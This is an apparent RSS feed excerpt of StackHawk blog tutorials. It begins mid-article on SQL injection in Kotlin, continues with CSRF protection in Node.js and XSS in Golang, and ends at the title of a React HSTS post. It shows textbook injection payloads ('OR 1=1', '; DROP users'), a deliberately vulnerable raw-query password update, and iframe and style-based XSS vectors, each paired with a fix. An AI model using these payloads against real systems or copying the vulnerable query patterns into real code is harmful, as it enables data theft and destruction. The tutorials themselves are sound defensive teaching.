&lt;/p&gt;&lt;p&gt;We can use the following query to demonstrate how SQL injection works: &lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM users WHERE email=&amp;#39;admin@example.com&amp;#39; OR 1=1;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This query returns all rows from the &lt;b&gt;users&lt;/b&gt; table. It returns all rows because 1=1 is always true and the &lt;b&gt;OR&lt;/b&gt; expression evaluates to true whenever at least one side of the &lt;b&gt;OR&lt;/b&gt; statement is true. In a real application that depends on user input for the value of email, a hacker can inject an expression like the one above to gain access to all data in a table. &lt;/p&gt;&lt;p&gt;Not all SQL injection attacks are targeted toward viewing restricted data. Attackers can also alter records in a database using SQL injection. A hacker can even drop an entire table with a statement like the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM users WHERE email=&amp;#39;admin@example.com&amp;#39;; DROP users;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This code executes the DROP table statement after the SELECT statement, leading to a permanent loss of data. &lt;/p&gt;&lt;p&gt;There are many variations of SQL injection. To learn more about them, check out the detailed post about SQL injection &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Now that we know what SQL injection is, in the next section, we&amp;#39;ll proceed to discuss SQL injection in Kotlin. &lt;/p&gt;&lt;h2&gt;Examples of SQL Injection in Kotlin and Prevention Techniques&lt;/h2&gt;&lt;p&gt;You can use SQL to persist data in Kotlin applications, and in this section, we&amp;#39;ll look at some examples of SQL injection that can occur in Kotlin. In addition, at the end of each example, we&amp;#39;ll learn how to prevent it. So, let&amp;#39;s start with our first example. &lt;/p&gt;&lt;h3&gt;1. Use of Raw Queries&lt;/h3&gt;&lt;p&gt;Here, raw SQL queries refers to the bare minimum SQL statement. For example, &lt;b&gt;SELECT * FROM table WHERE col=value1&lt;/b&gt;. In Kotlin, it&amp;#39;s possible to set dynamic values for &lt;b&gt;value1&lt;/b&gt; using a variable and string interpolation. In that case, the above SQL query becomes: &lt;/p&gt;&lt;p&gt;&lt;code&gt;var city = &amp;quot;NYC&amp;quot;
val query = &amp;quot;SELECT * FROM table WHERE col=$city&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this example, we&amp;#39;re considering a Kotlin server-side application that&amp;#39;s powered by &lt;a href=&quot;https://ktor.io/&quot;&gt;&lt;u&gt;Ktor&lt;/u&gt;&lt;/a&gt;. The application should display a private message sent to a user using a URL like this, &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/message/36&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;where &lt;b&gt;36&lt;/b&gt; is a unique message ID. However, an attacker can alter the above URL to gain access to all messages saved on the system. &lt;/p&gt;&lt;p&gt;The following URL has been modified to do that: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/messages/36%20OR%201=1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Before we continue, here&amp;#39;s what the underlining Kotlin code for retrieving data looks like: &lt;/p&gt;&lt;p&gt;&lt;code&gt;val id = call.parameters[&amp;quot;id&amp;quot;]
if (stmt.execute(&amp;quot;SELECT * FROM messages WHERE id=$id;&amp;quot;)) {
   resultset = stmt.resultSet
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;From this code, we can see that the value for &lt;b&gt;id&lt;/b&gt; is read from the URL using &lt;b&gt;call.parameter&lt;/b&gt;. Then, the SQL query uses the value for id in the &lt;b&gt;where clause&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;The next interesting thing to consider is the value &lt;b&gt;36%20OR%201=1&lt;/b&gt; from our second URL. When the application loads the URL, it executes the following SQL query: &lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM messages WHERE id=36 OR 1=1;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The expression 1=1 is always true. As a result, SQL returns all rows from the &lt;b&gt;messages&lt;/b&gt; table, granting a hacker unauthorized access to all messages. &lt;/p&gt;&lt;h4&gt;Prevention&lt;/h4&gt;&lt;p&gt;You can prevent this type of SQL injection using &lt;b&gt;PreparedStatement&lt;/b&gt;. With &lt;b&gt;PreparedStatement&lt;/b&gt;, user input is always treated as parameters and never as part of the actual SQL statement. That means when you use &lt;b&gt;PreparedStatement&lt;/b&gt;, SQL knows the value for &lt;b&gt;id&lt;/b&gt; is &amp;quot;36 OR 1=1,&amp;quot; in contrast to the raw query, that thinks &lt;b&gt;id&lt;/b&gt; is &amp;quot;36&amp;quot; and &amp;quot;OR 1=1&amp;quot; are other parts of the &lt;b&gt;where clause&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;&lt;b&gt;PreparedStatement&lt;/b&gt; uses &lt;b&gt;?&lt;/b&gt; as a placeholder for parameters. For example, here&amp;#39;s our initial query for reading data from the messages table, but with the addition of the&lt;b&gt; ? &lt;/b&gt;placeholder: &lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM messages WHERE id=?;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Another method to prevent this type of attack is &lt;b&gt;validation&lt;/b&gt;. Always check user input to validate that it conforms to the expected range or type. For instance, in our example, the system expects an integer value for &lt;b&gt;id&lt;/b&gt;. Fortunately, Kotlin has the &lt;a href=&quot;https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.text/to-int-or-null.html&quot;&gt;&lt;u&gt;toIntOrNull&lt;/u&gt;&lt;/a&gt; function. This function converts a numeric string to the equivalent integer value, or returns null if the value is not numeric. That is, &amp;quot;11&amp;quot; becomes 11 and &amp;quot;ABCD&amp;quot; returns &lt;b&gt;null&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;&lt;code&gt;fun String.toIntOrNull(): Int?&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Hence, checking that the value provided is an integer before deciding the next action can prevent the attack. &lt;/p&gt;&lt;h3&gt;2. Native SQL Option in ORM&lt;/h3&gt;&lt;p&gt;&lt;b&gt;Ktorm&lt;/b&gt; is an object-relational mapper (ORM) framework for Kotlin. It’s based on pure Java database connectivity (JDBC). One benefit of using an ORM is that it has built-in mechanisms for preventing SQL injection. However, in order to allow for more flexibility, the Ktorm ORM supports native SQL. &lt;/p&gt;&lt;p&gt;You can run raw SQL queries in Ktorm using the &lt;b&gt;database.useConnection()&lt;/b&gt; method. Then, perform database operations using an existing connection and JDBC. &lt;/p&gt;&lt;p&gt;In this example, we&amp;#39;ll look at some Kotlin code for updating the profile for a specific user. &lt;/p&gt;&lt;p&gt;&lt;code&gt;val database = Database.connect(&amp;quot;jdbc:mysql://127.0.0.1:3306/who_dey?useLegacyDatetimeCode=false&amp;amp;serverTimezone=UTC&amp;quot;, user = &amp;quot;root&amp;quot;, password = &amp;quot;&amp;quot;)
            val newPassword = &amp;quot;123456&amp;quot;
            val users = database.useConnection { connection -&amp;gt;
                val sql = &amp;quot;UPDATE users SET password=$newPassword WHERE email=$email&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;                val stmt = connection.createStatement()&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;                if (stmt.execute(sql)) {
                    println(&amp;quot;Password rest!&amp;quot;)
                }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;
            }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;  &lt;/p&gt;&lt;p&gt;The above code sample is vulnerable to SQL injection. An attacker could update the profile for all users just by setting the value for &lt;b&gt;email&lt;/b&gt; to the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;123456 OR 2&amp;gt;1 &lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Just like in our previous example, 2 is always greater than 1. Hence, the statement will always return true. As a result, all rows in the &lt;b&gt;users&lt;/b&gt; table will have their value for password set to 123456. This means the hacker could log in to any account using 123456 as a password. &lt;/p&gt;&lt;h4&gt;Prevention&lt;/h4&gt;&lt;p&gt;The creators of Ktorm don&amp;#39;t recommend using the native SQL feature. However, if you must use it, do so with the addition of &lt;b&gt;PreparedStatements&lt;/b&gt;. Here is a version of the code for updating &lt;b&gt;password&lt;/b&gt;, but this time, using &lt;b&gt;PreparedStatement&lt;/b&gt; and &lt;b&gt;?&lt;/b&gt; as a placeholder for parameters. &lt;/p&gt;&lt;p&gt;&lt;code&gt;val newPassword = &amp;quot;123456&amp;quot;
            val users = database.useConnection { connection -&amp;gt;
                val sql = &amp;quot;&amp;quot;&amp;quot;
                    UPDATE users SET password=? WHERE email=?
                    &amp;quot;&amp;quot;&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;                connection.prepareStatement(sql).use { statement -&amp;gt;
                    statement.setString(1, newPassword)
                    statement.setString(2, email)
                    statement.execute()
                }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;            }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In addition to &lt;b&gt;PreparedStatement&lt;/b&gt;, validate and sanitize user input before using it in an SQL query. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;An attacker can execute a wide variety of dangerous SQL queries using a single weak point in an application. In this post, we covered three common examples. However, the good news is, if you follow best practices and validate user input, you can reduce the chance of leaving vulnerabilities in your application. &lt;/p&gt;&lt;p&gt;Consider using ORM and &lt;b&gt;PreparedStatements&lt;/b&gt; rather than raw SQL queries. But keep in mind that using an ORM doesn&amp;#39;t always mean you’re 100% safe against SQL injection. Also, I recommend you check out &lt;a href=&quot;https://www.ktorm.org/&quot;&gt;&lt;u&gt;Ktorm&lt;/u&gt;&lt;/a&gt;, as it offers many benefits, including a strong typed domain specific language (DSL). &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/aboyipius/?originalSubdomain=ng&quot;&gt;&lt;u&gt;&lt;i&gt;Pius&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Node.js CSRF Protection Guide: Examples and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/node-js-csrf-protection-guide-examples-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;CSRF, or cross-site request forgery, is one of the most notoriously difficult exploits to mitigate in the world of development. Not only are these attacks everywhere on the web, but their potential for damage is quite astounding. This is why it&amp;#39;s so important for people to be aware of their presence and to know how to protect their systems. &lt;/p&gt;&lt;p&gt;The purpose of this article is to serve as a starting point for developers in general and Node.js engineers in particular for CSRF protection. We will briefly explain what cross-site request forgery is, list some examples of CSRF attacks that you might find in the wild, and give you some mitigation strategies against them in Node.js. &lt;/p&gt;&lt;p&gt;Bear in mind that although we are focusing on Node.js development stacks in this article and the examples are written in JavaScript, the basic strategies apply for any technology stack. You are not required to have mastery of Node.js. However, a basic understanding of JavaScript is required. If you need a refresher on these, we encourage you to read the &lt;a href=&quot;https://nodejs.org/en/docs/guides/&quot;&gt;&lt;u&gt;Node.js guides &lt;/u&gt;&lt;/a&gt;and familiarize yourself with the information. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s jump right in. &lt;/p&gt;&lt;h2&gt;Explaining CSRF&lt;/h2&gt;&lt;p&gt;Cross-site request forgery, or CSRF/XSRF, is an attack that relies on the user&amp;#39;s privileges by hijacking their session. This strategy allows an attacker to circumvent our security by essentially deceiving the user into submitting a malicious request on behalf of the attacker. &lt;/p&gt;&lt;p&gt;CSRF attacks are possible because of two things. First, CSRF attacks exploit the user&amp;#39;s inability to discern whether a seemingly legitimate HTML element contains malicious code. Second, since these attacks come from legitimate users, the protection mechanisms do not apply. This allows bad actors to dupe users into harming themselves. &lt;/p&gt;&lt;p&gt;What&amp;#39;s more, bad actors are capable of masking HTML elements and can use social engineering tactics through avenues like chat or emails to significant effect. Moreover, these exploits seem to come from trusted sources for the average user, hijacking their trust in the systems they rely on day to day.  &lt;/p&gt;&lt;h2&gt;CSRF Attacks&lt;/h2&gt;&lt;p&gt;To illustrate more accurately how a cross-site request forgery attack can hijack a system, let&amp;#39;s explore the following example.  &lt;/p&gt;&lt;p&gt;A user receives an email from what seems like a trusted source. Say an attacker has emulated the look of a banking institution and managed to mask the email to look legitimate. The victim, our non-tech-savvy auntie, sees the email, which conveys an urgent need for her to click on a provided link to check on an unusual transaction that the bank has flagged as suspicious. &lt;/p&gt;&lt;p&gt;Auntie then proceeds to hastily oblige and click on the link without verifying the authenticity of its source and is then sent to the bank website. The website is legitimate and shows no sign of foul play. It even displays as secure, and the URL matches the website. She then proceeds to either discard the email or call the bank. &lt;/p&gt;&lt;p&gt;Now, there are myriad things that could have happened. For example, when our victim clicked on the malicious link, a targeted URL could have taken advantage of a fresh authenticated session (or something as simple as just having a tab open while logged in) and executed a change in the database to a vulnerable web application. &lt;/p&gt;&lt;p&gt;Of course, there is a lot more in the rabbit hole of cross-site request forgery. Exploring the intricacies of how it exploits vulnerabilities in the web goes outside the scope of this article. However, if you want to dive deeper into the ocean of CSRF and how it works, we recommend reading our &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;sister article&lt;/u&gt;&lt;/a&gt; explaining it in more detail. &lt;/p&gt;&lt;h2&gt;Mitigating CSRF Vulnerabilities in Node.js&lt;/h2&gt;&lt;p&gt;So now that we have seen how easy it is to seize our user&amp;#39;s sessions by hijacking their trust with sly social engineering tactics to wreak havoc in our systems, let&amp;#39;s explore some mitigating measures against them. &lt;/p&gt;&lt;h3&gt;Routing Structure&lt;/h3&gt;&lt;p&gt;First, we must reconsider the design of the routing structure of our site. Simple CSRF attacks take advantage of systems that accept GET requests that perform a state change. This pattern is already an unsafe practice, and you should avoid it in all scenarios.  &lt;/p&gt;&lt;p&gt;Luckily, fixing this is quite simple in Express. All you need to do is change the route file (usually called &amp;quot;index.js&amp;quot;) and set the application&amp;#39;s action to receive a POST or PUT instead of a GET for state changes. This change, of course, ensures that you follow the HTTP protocol guidelines. &lt;/p&gt;&lt;p&gt;&lt;code&gt;//router.get(&amp;#39;/posts/create&amp;#39;, sessionController.validateSession, postsController.postsCreate);
router.post(&amp;#39;/posts/create&amp;#39;, sessionController.validateSession, postsController.postsCreate);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You will end up with something like the following: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Lines of code in an integrated development environment.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Notice that all state-changing requests are not GET. &lt;/p&gt;&lt;p&gt;Keep in mind that this approach will not protect us from attacks from a form tag submitting a POST automatically by JavaScript. Additionally, an attacker can adapt their exploits to work with JavaScript Ajax requests and submit any protocol or parameters necessary to accomplish their goal.  &lt;/p&gt;&lt;h3&gt;Action Confirmation&lt;/h3&gt;&lt;p&gt;Second, we advise all developers to implement confirmation mechanisms into all critical state-changing actions. Simply implementing a middle step between a submit, requiring the user to confirm their action, can significantly reduce the reach of CSRF attacks. Note that some users might find this multistep process cumbersome and tedious in systems requiring frequent changes. Design-based security features like these are ubiquitous on essential systems of administration and account management portals.  &lt;/p&gt;&lt;h3&gt;CSRF Token&lt;/h3&gt;&lt;p&gt;Lastly, we must use CSRF tokens to validate every request coming from our clients. These tokens work by linking the user session to server-generated tokens, which the server validates upon request. The tokens are present in all forms as hidden fields. So, when the client proceeds to submit the form, it contains a validation voucher that confirms the user intended this action. &lt;/p&gt;&lt;p&gt;To implement CSRF tokens in Node.js, we can use the &lt;a href=&quot;https://www.npmjs.com/package/csurf&quot;&gt;&lt;u&gt;&lt;b&gt;csurf&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; module for creating and validating tokens. &lt;/p&gt;&lt;p&gt;&lt;code&gt;const cookieParser = require(&amp;#39;cookie-parser&amp;#39;);  // CSRF Cookie parsing
const bodyParser = require(&amp;#39;body-parser&amp;#39;);      // CSRF Body parsing
var csrf = require(&amp;#39;csurf&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;/**
 * App Variables
 */&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;const app = express();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;// Middlewares
var csrfProtect = csrf({ cookie: true })&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/form&amp;#39;, csrfProtect, function(req, res) {
  // Generate a tocken and send it to the view
  res.render(&amp;#39;send&amp;#39;, { csrfToken: req.csrfToken() })
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.post(&amp;#39;/posts/create&amp;#39;, parseForm, csrfProtect, function(req, res) {
  res.send(&amp;#39;data is being processed&amp;#39;)
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You must apply this change to the main &lt;b&gt;app.js&lt;/b&gt; class file, making it look something like the following: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Lines of code in an integrated development environment.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Notice that we added the routing code here, but you can have it in a separate routing class&lt;b&gt; index.js&lt;/b&gt; file. &lt;/p&gt;&lt;p&gt;Once you have done this, you can proceed to modify all your request and response routes to use tokens. &lt;/p&gt;&lt;p&gt;Additionally, you must add the hidden field in all forms in your application. Here&amp;#39;s an example of a simple form: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;form action=&amp;quot;/posts/create&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;_csrf&amp;quot; value=&amp;quot;{{csrfToken}}&amp;quot;&amp;gt;
    Title: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;title&amp;quot;&amp;gt;
    Text: &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;text&amp;quot;&amp;gt;
    &amp;lt;button type=&amp;quot;submit&amp;quot;&amp;gt;Submit&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Bottom Line&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Cross-site request forgery is &lt;b&gt;one of the most widespread exploits&lt;/b&gt; on the web. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Web platforms are exposed to them constantly, and many victims fall prey to their traps. Unfortunately, due to the nature of the attack, no platform is wholly protected from CSRF since a valid end user&amp;#39;s authentication can be hijacked to reach the system. This makes it a game of risk management.&lt;/p&gt;&lt;p&gt;As in any area of technology, there are several ways to solve a problem. The process to mitigate the risks of exploitation from the platform perspective involves targeting the most prominent vulnerabilities and gradually increasing the friction for attackers to target our systems. &lt;/p&gt;&lt;p&gt;It&amp;#39;s essential to make sure that we as developers take all steps necessary to mitigate the risks that we can handle and protect our users from bad actors. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang XSS Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-xss-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;a href=&quot;https://golang.org/&quot;&gt;&lt;u&gt;Golang&lt;/u&gt;&lt;/a&gt; is fast becoming the programming language on which developers build the internet. Only JavaScript and Python are ahead in popularity survey results, which is an undeniable confirmation of this trend. Key to this growing popularity is how simple it is to learn and use Go. Add to this the fact that it&amp;#39;s perfectly designed for fast execution of applications in microservice architecture models. &lt;/p&gt;&lt;p&gt;Even as you use one of the top languages on the market, your applications are often at the mercy of hackers. They&amp;#39;ve basically laced the internet with &amp;quot;minefields&amp;quot;—attacks waiting to activate on unsuspecting victims. The usual agendas are identity theft to carry out other crimes on the internet or attaining sensitive information to blackmail victims. A common attack method used by hackers is &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;cross-site scripting (XSS)&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;This guide takes the reader through XSS in Golang applications. We&amp;#39;ll examine a few examples and suggest the best ways to protect Go application users from falling prey to hackers setting XSS traps all over the internet. &lt;/p&gt;&lt;h2&gt;How XSS Happens&lt;/h2&gt;&lt;p&gt;The best starting point for a Golang XSS guide is to expose the basic format of the attack. Let&amp;#39;s dismantle a typical cross-site scripting attack as it would happen in Golang applications. &lt;/p&gt;&lt;p&gt;To understand how Golang XSS works, let&amp;#39;s acknowledge that Go itself is not a front-end development language. When you create web applications using Go frameworks, you can witness the actual Golang code on the back end. This means you need to pair Go with front-end languages like JavaScript and/or its frameworks and libraries to create the visual elements of the application. It&amp;#39;s within these front-end components and content elements that cross-site scripting sparks. &lt;/p&gt;&lt;p&gt;Typically, an XSS attack attempts to fetch content from previously unknown sources and bring it into the browser. Then, whatever payload is embedded in the cross-site script runs commands or renders content in place of the developers&amp;#39; original intent. Effectively, once an attacker gets the chance to run external scripts from within your application, they might as well take over as the owner—coup d&amp;#39;état style. &lt;/p&gt;&lt;h2&gt;Golang XSS Examples&lt;/h2&gt;&lt;p&gt;Unless a Golang application is configured to validate all input and requests through forms and the browser navigation bar, attackers can set up XSS at will. The simplest example of an XSS attack is when your Golang application accepts scripts as user input. These are the same forms that accept legitimate state requests from genuine users. Scripts, on the other hand, would trigger application behavior as directed by the attacker. &lt;/p&gt;&lt;p&gt;Even when you use Golang frameworks (Gin, Martini, etc.) to build your applications and figure out a way to store content as database objects, scripts injected into the database can change entire sections of your application. And this often leaves your app relaying user IPs, cookies, and form data to the hackers&amp;#39; desired destination. &lt;/p&gt;&lt;p&gt;This can happen through a URL request that looks like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.agolangapp/&amp;lt;script&amp;gt;...an elaborate script with requests and processes that run in the browser...&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The script space and the vulnerability left by not sanitizing such requests leave the severity of damage possible up to the creativity of the attacker. &lt;/p&gt;&lt;h3&gt;XSS Through iFrames&lt;/h3&gt;&lt;p&gt;iFrames are a common XSS attack target on Golang applications. By design, iFrames fetch content from a source other than their resident domain and render it within their allocated space. That&amp;#39;s all good and well if you know the source and just need to have some dynamic content on your application. However, this allows cross-site scripting. Hackers can exploit this gap by changing the iFrame source or embedding a payload on the trusted source itself. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;iframe src=&amp;quot;evil_source.htm&amp;quot; style=&amp;quot;height:200px;width:300px;&amp;quot; title=&amp;quot;Hacked_Iframe&amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Effectively, every time the page loads and the iFrame renders, the payload will run. Even when your site has a watertight authentication system, XSS can start when hackers alter your page and lace scripts. Then, sending it to your users through social media direct messaging (which users seem to trust a little too much) can award the attacker with cookies and session data to jump over your login wall. At this point, your application will not know the difference between the hacker and genuine users. &lt;/p&gt;&lt;h2&gt;How to Fix/Prevent XSS in Go Applications&lt;/h2&gt;&lt;p&gt;By now, you have gained a clear understanding of how XSS takes shape on the front end. Let&amp;#39;s review how these vulnerabilities persist by having &amp;quot;weak&amp;quot; Golang code on the back end, along with how best to fortify your applications. You may have to install the &lt;a href=&quot;https://pkg.go.dev/std?tab=versions&quot;&gt;&lt;u&gt;latest version of Go&lt;/u&gt;&lt;/a&gt; and clone &lt;a href=&quot;https://github.com/rusiqe/golang_demo_album_lib.git&quot;&gt;&lt;u&gt;this repository&lt;/u&gt;&lt;/a&gt; before testing on your workstation. &lt;/p&gt;&lt;p&gt;This snippet of code allows users to update a JSON list of album titles &lt;i&gt;directly&lt;/i&gt;: &lt;/p&gt;&lt;p&gt;&lt;code&gt;func postAlbums(c *gin.Context) {
    var newAlbum album&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    if err := c.BindJSON(&amp;amp;newAlbum); err != nil {
        return
    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    albums = append(albums, newAlbum)
    c.IndentedJSON(http.StatusCreated, newAlbum)
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Using the Gin framework, this piece of code slides in new values in the JSON as albums to an existing file. The problem is, there&amp;#39;s no checking of the format or type of content being appended to the albums list. Even when the list is stored in a file somewhere on the server, each time the user queries for the albums list, any scripts or links hidden behind the scenes activate. One of the albums could also have an external target to redirect users to malicious applications. &lt;/p&gt;&lt;p&gt;&lt;code&gt;func getAlbumByID(c *gin.Context) {
id := c.Param(&amp;quot;id&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;for _, a := range albums {
if a.ID == id {
c.IndentedJSON(http.StatusOK, a)
return
}
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Even with this loop session, the search of an album by ID can bring up scripts to the front end. If there&amp;#39;s one thing you know by now, it&amp;#39;s that scripts are possible payloads. Worse still, any images added to the album collection could compound the risk of XSS with image URLs and possible redirects. &lt;/p&gt;&lt;h3&gt;How to Fix Golang XSS&lt;/h3&gt;&lt;p&gt;The easiest way to fix the vulnerabilities we&amp;#39;ve reviewed above is through building policies that sanitize user input. Luckily, Golang has a growing package library that makes this process easy to implement. Of particular use to Golang XSS is the &lt;a href=&quot;https://pkg.go.dev/github.com/microcosm-cc/bluemonday#section-readme&quot;&gt;&lt;u&gt;bluemonday package&lt;/u&gt;&lt;/a&gt;. Once you add the package to your project, it sanitizes modified URL or content sections. &lt;/p&gt;&lt;p&gt;&lt;code&gt;Hello &amp;lt;STYLE&amp;gt;.XSS{background-image:url(&amp;quot;javascript:alert(&amp;#39;XSS&amp;#39;)&amp;quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;World&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above code turns into the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;Hello World&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The kinds of policies you can add to your Golang application range from those that strip input of any tags to outright banning cross-origin source loading. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Golang XSS implementation example.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The screenshot above shows how simple it is to add policies to your Golang applications. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;The more policies you add to your Golang application, the fewer vulnerabilities it should exhibit. It&amp;#39;s all worth the effort, though. Leaving your applications online without proper XSS security means is just a matter of time before hackers take over. &lt;/p&gt;&lt;p&gt;Golang XSS attacks typically manifest on the front end. This makes it imperative to keep a pulse on your application elements for embedded scripts and content behaviors. Something as unassuming as a URL can be used to steal the information and identities of your users. This implies a deliberate process to root out vulnerabilities on your part. &lt;/p&gt;&lt;p&gt;The news is rife with reports of web applications crashing or losing money after they&amp;#39;re exposed through hacks. XSS, detailed in this guide, is a prevailing reason for all this embarrassment. A good way of making sure this never happens to your Golang application is using code quality checks and vulnerability checking tools like &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;. This way, even as new code piles into your source, no new vulnerabilities join as well. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[React HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid 